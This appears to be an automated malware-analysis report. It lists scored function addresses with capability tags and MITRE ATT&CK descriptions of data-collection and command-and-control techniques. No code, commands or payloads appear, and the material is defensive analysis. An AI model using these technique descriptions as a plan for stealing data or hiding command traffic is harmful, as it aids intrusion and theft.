Function 0041E540, Relevance: 9.1, APIs: 6, Instructions: 55
COMMON

Function 0045B298, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 125
windowCOMMON

Function 004556D8, Relevance: 7.7, APIs: 5, Instructions: 171
COMMON

Function 004335B4, Relevance: 7.6, APIs: 5, Instructions: 110
COMMON

Function 00456C30, Relevance: 6.1, APIs: 4, Instructions: 148
windowCOMMON

Function 0045A1B4, Relevance: 6.1, APIs: 4, Instructions: 99
COMMON

Function 00401A14, Relevance: 6.0, APIs: 4, Instructions: 48
memoryCOMMON

Function 00463858, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60
registryclipboardCOMMON

Function 004247F8, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39
COMMON

Function 0040BE28, Relevance: 4.6, APIs: 3, Instructions: 77
COMMON

Function 0040BE26, Relevance: 4.6, APIs: 3, Instructions: 69
COMMON

Function 00463C34, Relevance: 3.1, APIs: 2, Instructions: 56
serviceCOMMON

Function 0045A570, Relevance: 3.0, APIs: 2, Instructions: 37
COMMON

Function 00465F84, Relevance: 3.0, APIs: 2, Instructions: 20
threadCOMMON

Function 0040152C, Relevance: 2.5, APIs: 2, Instructions: 37
memoryCOMMON

Function 00465DA4, Relevance: 1.6, APIs: 1, Instructions: 51
memoryCOMMON

Function 00406A16, Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Function 00406A18, Relevance: 1.5, APIs: 1, Instructions: 44
COMMON

Function 00406A70, Relevance: 1.5, APIs: 1, Instructions: 43
COMMON

Function 00405014, Relevance: 1.5, APIs: 1, Instructions: 26
COMMON

Function 00407D80, Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Function 004016C0, Relevance: 1.3, APIs: 1, Instructions: 54
memoryCOMMON

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre